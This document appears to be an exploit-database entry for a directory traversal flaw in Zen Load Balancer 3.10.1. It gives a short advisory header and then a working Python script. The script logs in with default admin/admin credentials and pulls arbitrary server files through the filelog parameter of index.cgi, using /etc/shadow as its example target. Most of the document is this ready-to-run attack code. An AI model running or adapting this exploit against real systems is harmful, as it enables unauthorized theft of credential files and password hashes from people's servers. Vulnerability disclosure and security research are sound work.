Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal

# Exploit Title: Zen Load Balancer 3.10.1 - 'index.cgi' Directory Traversal
# Date: 2020-04-10
# Exploit Author: Basim Alabdullah
# Software Link: https://sourceforge.net/projects/zenloadbalancer/files/Distro/zenloadbalancer-distro_3.10.1.iso/download
# Version: 3.10.1
# Tested on: Debian8u2
#
# Technical Details:
# The filelog parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.
# The payload ../../../../../../../../../../../../../../../../etc/shadow was submitted in the filelog parameter. The requested file was returned in the application's response.
# Note that disclosure of the shadow file may allow an attacker to discover users' passwords
#
# Impact:
# --------
# Successful exploitation could allow an attacker to obtain sensitive
# information.

import requests
import sys

if len(sys.argv) <2:
    print("Example Use: python exploit.py https://192.168.1.1:444 /etc/shadow")
    sys.exit(-1)
else:
    files=sys.argv[2]
    url=sys.argv[1]    
    with requests.session() as s:
        urlz=url+"/index.cgi?id=2-3&filelog=../../../../../../../../../../../../../../../../"+files+"&nlines=100&action=See+logs"
        response = s.get(urlz, auth=('admin', 'admin'), verify=False)
        txt=response.text
        print(response.text)